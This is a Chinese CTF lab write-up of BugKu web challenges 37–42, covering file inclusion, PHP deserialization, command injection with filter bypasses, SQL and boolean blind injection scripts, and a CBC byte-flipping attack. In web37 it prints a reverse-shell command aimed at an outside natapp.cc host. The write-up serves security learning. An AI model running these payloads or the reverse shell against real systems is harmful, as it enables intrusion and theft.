前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BugKu-WEB-3

BugKu-WEB-3

作者头像
Baige
发布2022-03-22 10:04:45
8650
发布2022-03-22 10:04:45
举报
文章被收录于专栏:世荣的博客

这里是Bugku的CTF题目(主流情况下我一般都只会玩攻防世界的,难度稍微大一些,我之前的笔记分类有详细分成基础篇和高手篇写了writeup,感兴趣的可以去看看) 所用环境以及做题思路只在当时写下writeup时适用,若之后做出改动可与我联系,做出相应更改。 作者:李世荣 转载请标明出处。 37.web34

题目提示:文件包含

index.php?file=hello.php 那我们的重心就在上面,这个payload怎么写。

这里有文件包含与文件上传两个漏洞的话,岂不是可以直接上传图片马然后解析?

先写好上传,但是发现好像不太行,那我们换一个一句话

成功绕过,菜刀连接

flag在根目录下面,直接设置pyload:index.php?file=/flag 38.web35

描述:点了login咋没反应

尝试输入账号密码,点击login却什么反应也没有,查看源码也什么没有,那么我们就尝试一下发起一次请求,看看响应是什么吧。

在admin.css里发现了端倪,这个try ?23897是什么,试着传参了一下,看到了代码,看来思路是对的。

查阅代码,unserialize映入眼帘。这就是反序列化函数,说明这题考的是无类的php反序列化。(问:有类是什么样子? 答:代码中存在class)unserialize(cookie) === “KEY” 两边序列化即有cookie = serialize("

接下来我们编写个序列化脚本

用Burp Suite工具抓包发送给Repeater在Requests Headers里添加cookie=BUGKU=s:13:"ctf.bugku.com";

39.web36

题目提示:!,!=,=,+,-,^,% 全部都过滤了绝望吗。

习惯性的扫描了一下后台,发现了/index.php和/login.php,分别访问了一下,最后停在了/index.php,是一个登陆界面。 进去是个登录界面,稍微按了按导航栏没什么用,猜测是注入! 输入用户admin密码任意,显示password错误 输入用户admin'密码任意,显示username错误 输入用户admin'#密码任意,发现给检测到入侵,那#用不了,试了试-和+也被过滤了 直接上盲注脚本吧。

别说,还挺壮观的,将得到密文反复解密,看看最终能得到什么。(这波忙猜是md5)

账号:admin 密码:bugkuctf登陆,得到了下面的界面

来到一个web的命令执行界面,使用ls看到网站目录下并没有flag 使用ls /发现给检测到,试试单输入空格,发现空格给过滤,在linux里面有很多方式可以代替空格

cat{IFS}flag.txtcatIFS9flag.txtcat<flag.txtcat<>flag.txt尝试输入cat{IFS}/flag发现也给检测了,测试后才知道IFS字样也给过滤了,那我们用cat</flag,就能成功拿到flag。

40.web37

提示:hint:union,命令执行 描述: 命令执行

这道题目直接给了一个登陆界面,猜测有注入漏洞,先输入123,,123抓包看看

用repeater发送后看到有个tip 是一串base64加密的字符,解密后明文:

审计后发现可以构造一个不存在的用户进行登录,查询的密码要和md5加密后的一致,构造payload: username=admin' union select 1,md5(123)#&password=123

登录成功后看到一个命令执行界面,尝试ls

第一种解法:输入123,回显如下:

尝试用”|”来绕过 输入:123|ls没有回显 采用写入文件二次返回的方法查看结果 123|ls ../../../>test 但是依然没有回显

回到起点,输入1试试看:

可以看到在最下面有grep命令,再想到hint的命令执行,故可以直接来查询flag,一步步尝试: 先输入ls 可以看到并没有执行命令,那应该是后台进行了过滤,或者有什么符号进行了合并,上面我们用|进行绕过:输入1|ls发现也是不行的。 但是应该是绕过了检测的,就试试像sql二次注入的方式:二次写文件读取: 1|ls ../../../../>res 将根目录下的文件写入到res文件中 访问res即可得到flag

大佬的wp,学到了另一种方法:即反弹shell的方式: 前提是得有外网ip,大家可以去试试,一个月的公网ip也不是特别贵,我这里已经有了,所以就直接演示了: 我外网ip映射到本地的端口为80,所以在kali里打开监听这个80端口: nc -lvp 80

然后再构造bash交互,我这里是: 1|bash -i >& /dev/tcp/03a1ea6816d56464.natapp.cc/5200 0>&1 然后就点击检测按钮 可以看到上面的是一直在转圈,这时我们去kali里看看监听的结果

可以看到,已经监听成功,最后直接cat /flag即可拿到flag了

41.web38

提  示: 基于布尔的SQL盲注 描  述: sql注入

根据提示,布尔盲注。 但测试后发现and被过滤,只能使用异或^ 空格也被过滤 逗号被过滤,使用mid((password)from(1)for(1))代替mid((password),1,1) 等号被过滤,使用不等号<> for被过滤,使用ascii取字符串第一个字符转换为ascii码 构造如下 username=admin'^(ascii(mid((password)from(1)))<>ascii('b'))#&password=123 sql语句中在运算时会将字符串转换为0, 注入后,sql语句变为 where username=‘admin'^(ascii(mid((password)from(1)))<>ascii('b'))# 当后面语句为真时,0^1=1,语句相当于 where username=1,因为username全为字符串,不可能等于1,所以会查找失败,显示username no exist 当后面语句为假时,0^0=0,语句相当于 where username=0,因为username都为字符串,比较会恒成立,所以会查找成功,显示password error 使用burpsuite的intruder功能爆破

可能是字典设置的不合适,爆破了许久都没有出结果,尝试换一个思路。 用Burp Suite抓包一下。发送到Repeater

随便输入一些字符串,测试一下回显。 我们可以发现 当我们随便输入一个用户名“lsr”时, 回显用户名不存在,但并没有对密码进行检验。 当我们输入用户名“admin”时,回显密码错误,则说明 是先查找匹配用户名,如果存在,再验证密码。 试试在用户名admin后加上单引号 结果还是显示用户名不存在,但是并没有报错信息........... 那么,我们猜测后台的验证应该是先查找输入的用户名是否存在 语句大体是这样 select password,username from users where username="我们输入的用户名" 如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,这个语句就可以补成: where username=’admin’ and (substring(database(),1,1)=’a’) 如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。 显示非法字符....... 可能是过滤了and.... 继续测试发现....还过滤了空格,逗号,等号,for 空格用括号代替,等号用<>(一种不等号)代替 最后发现了异或运算^ 先说一下异或运算的基本规则: 1^1=0 1^0=1 0^0=0 即 只有两个不同的布尔值运算结果为1 先给出脚本

开始跑脚本:

跑出来像是md5,解密一下,是:bugkuctf 用户名:admin 密码:bugkuctf

注: 解释一下payload:

代码语言:javascript
复制
"admin'^(ascii(mid(database()from({})))<>{})^0#"

1.为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。 2.mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢? 因此,这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。 3.每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。 如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0 返回值是username does not exist! 如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0 返回值会是password error! 这就构成了布尔报错注入。

  1. 最后^0的妙用! 因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。 因为这里即使是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也无法知道。 另一份大佬的writeup:

1 fuzz 可以看到过滤了空格和* union等但是(没过滤bool注入

代码语言:javascript
复制
[‘select’, ‘concat’, ‘show’, ‘databases’, ‘tables’, ‘flag’, ‘or’, ‘sleep’, ‘from’, ‘limit’, ‘group’, ‘by’, ‘prepare’, ‘as’, ‘if’, ‘char’, ‘ascii’, ‘mid’, ‘left’, ‘right’, ‘substring’, ‘updatexml’, ‘extractvalue’, ‘benchmark’, ‘insert’, ‘update’, ‘all’, ‘@’, ‘#’, ‘^’, ‘&’, “’”, ‘"’, ‘~’, ‘(’, ‘)’, ‘–’, ‘>’, ‘<’, ‘if’, ‘/’, ‘’]

2 payload username=%27or(1)%23&password= 返回password error,证明存在bool注入

3 exp

代码语言:javascript
复制
import requests
ans = ''
for i in range(33):
代码语言:javascript
复制
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
    data={
        # 'username':"'or(1)#",
代码语言:javascript
复制
        # 'username':"'or(ascii(substr((select(database()))from({})))<>({}))#".format(i,ord(j)),
        'username':"'or(ascii(substr((select(password))from({})))<>({}))#".format(i,ord(j)),
        'password':'123'
    }
    res = requests.post('http://114.67.246.176:18085/index.php',data)
    # print(res.text)
    if 'username does not exist!' in res.text:
        ans+=j
        print(ans)

小技巧: substr(user(),1,1) 等价于 substr(user() from 1 for 1) 可以绕过逗号

=号被过滤用<>不等号 Info也被过滤了不能用Information_schema了

4 爆库

代码语言:javascript
复制
'username':"'or(ascii(substr((database())from({})))<>({}))#".format(i,ord(j)),
'or(ascii(substr((select(password)from(admin))from({})))<>({}))#

42.web39

提  示: CBC字节翻转攻击 描  述: flag{}

打开环境,发现又是一个登陆界面,那我们就看看题目提示。 来一波日常目录扫描 Dirmap一共扫到了四个网站。 我们用cansina也试试看

下载该文件,使用vim -r .index.php.swp打开审计源码。已经手动在代码里添加了注释

代码语言:javascript
复制
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){    //随机生成16位初始化向量
代码语言:javascript
复制
$random_iv='';
for($i=0;$i<16;$i++){
    $random_iv.=chr(rand(1,255));
}
return $random_iv;
代码语言:javascript
复制
}

第一个执行的方法

代码语言:javascript
复制
function login($info){
代码语言:javascript
复制
$iv = get_random_iv();
$plain = serialize($info);    //明文序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);    //加密
//options:以下标记的按位或: OPENSSL_RAW_DATA 原生数据,对应数字1,不进行 base64 编码。OPENSSL_ZERO_PADDING 数据进行 base64 编码再返回,对应数字0。
$_SESSION['username'] = $info['username'];    //注册SESSION全局变量
//以下两行设置cookie
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
代码语言:javascript
复制
}
function check_login(){
代码语言:javascript
复制
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
    $cipher = base64_decode($_COOKIE['cipher']);
    $iv = base64_decode($_COOKIE["iv"]);
    if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
        $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
        $_SESSION['username'] = $info['username'];
    }else{
        die("ERROR!");
    }
}
代码语言:javascript
复制
}

第二个执行,检测用户名为admin时,打印flag

代码语言:javascript
复制
function show_homepage(){
代码语言:javascript
复制
if ($_SESSION["username"]==='admin'){
    echo '<p>Hello admin</p>';
    echo '<p>Flag is $flag</p>';
}else{
    echo '<p>hello '.$_SESSION['username'].'</p>';
    echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
代码语言:javascript
复制
}
代码语言:javascript
复制
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
    exit('<p>admin are not allowed to login</p>');
}else{
    $info = array('username'=>$username,'password'=>$password);
    login($info);
    show_homepage();
}
代码语言:javascript
复制
}else{
代码语言:javascript
复制
if(isset($_SESSION["username"])){
    check_login();
    show_homepage();
}else{
    echo '<body class="login-body">
            <div id="wrapper">
                <div class="user-icon"></div>
                <div class="pass-icon"></div>
                <form name="login-form" class="login-form" action="" method="post">
                    <div class="header">
                    <h1>Login Form</h1>
                    <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                    </div>
                    <div class="content">
                    <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                    <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                    </div>

源码审计

审计源码首先要找到程序起点,跟着程序走一遍,了解流程。程序起点在这个if里:

我们以else为分割符,先看上面一段的代码。程序接收到POST参数(username,password),并且禁止admin登陆。当用户名不是admin的时候,首先把用户名密码放入数组,传到login方法中。login方法对传入的数组进行了序列化,并且使用aes-128-cbc对序列化进行加密。iv(初始化向量)是随机生成的。最终把cipher和iv放入cookie。

再到show_homepage()方法,检测_SESSION中的username是admin时,打印flag。否则提示Only admin can see flag

然后审计else的下半部分,这里是上半部分操作执行过后,存在_SESSION[‘username’]时执行。当不存在POST数据或者_SESSION[‘username’]时,显示登陆页面。有_SESSION[‘username’]时,进入check_login()方法。当cookie中存在cipher、iv时,对cipher进行解密。这里是解题的关键,可以通过修改cookie中的cipher值,将序列化数据的用户名修改成admin。从而绕过程序起点处禁止admin登陆的判断。

最后执行到show_homepage()方法,当我们在check_login()中把用户名修改为admin时,这里输出flag。

解题:

访问题目页面,使用用户名admil,密码123登陆。页面提示内容与审计的结果一致。此时程序已经执行了login()方法,在cookie中写入了cipher和iv。

使用burp抓包,刷新页面,内容如下:

通过上面审计源码可知,需要把post数据删掉,才能进入check_login()方法判断当前用户名。

通过最开始列出的“CBC字节翻转攻击原理”文章,这里需要修改cipher和iv的值来实现变更用户名。基本原理(强塞内容):

代码语言:javascript
复制
这里讲下为什么能把admil修改成admin
根据上图,我们可以知道CBC解密过程:


密文1=>解密密文1=>解密密文1 XOR 初始化向量(iv) = 明文1
密文2=>解密密文2=>解密密文2 XOR 密文1 = 明文2
密文3=>解密密文3=>解密密文3 XOR 密文2 = 明文3
以此类推,除了第一次,后面所以数据解密后都需要跟上一个密文进行异或得到明文。
从上面的解密过程可以推断出,当我们修改前一个密文的第N个字节时,会影响到后一个密文解密出来的明文的第N个字节。
例如:当我们修改密文1的第6个字节时,密文2解密时,解密后的密文2跟密文1进行异或操作,明文2的第6个字节也会受到影响。
异或特性:
解密得出明文的步骤使用了异或运算,而异或运算有个特性,是可以自定义异或结果的。
这里的讲解借用到大佬文章的讲解思路。
假设:A ^ B = C,则可得
B = A ^ C
当人为修改A=A ^ C时,
A ^ B = A ^ C ^ B = B ^ B = 0
当人为修改A=A ^ C ^ x (x为任意数值)时,
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x
举例:
密文1[4]的意思是密文1字符串第4个字节,相当于数组下标。
设:密文1[4] = A,解密(密文2)[4] = B,明文2[4] = C
因为A ^ B = C,根据结论有B = A ^ C
当人为修改A=A ^ C时,那么A ^ B = A ^ C ^ B = B ^ B = 0,这样明文2[4]的结果就为0了
当人为修改A=A ^ C ^ x (x为任意数值)时,那么
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这是明文2[4] = x,这样就达到了控制明文某个字节的目的了。
编程:
根据上面的推论,就可以开始写程序修改cipher和iv来控制用户名了。

执行结果:

当我们在Burp Suite将计算后的cipher替换发送后,发现提示错误。

这是因为我们修改了密文1中的数据,使第一次解密出的明文数据错乱,打乱了序列化数据的格式,反序列化失败。

但是当我们把返回的base64数据解码后,可以发现我们的username已经修改成admin了。

...

之间出现了很多次错,没能实现,现在又开了一个环境,重新来一遍。

...

v的值是随机变化的,即使同一个用户名,多次发送POST数据,也会改变iv,所以提交一次POST后就一次完成,否则就从头再来序列化内容分组,16个一组a:2:{s:8:"username";s:5:"ddmin";s:8:"password";s:3:"123”;}我们想要改的d->a在第二组的9位(从0开始),那我们要改第一组的第9位。

  • / = 要url编码(%2b、%2F、%3D (enc只要%2F之前的其实就够
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021 年 07 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第一个执行的方法
  • 第二个执行,检测用户名为admin时,打印flag
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档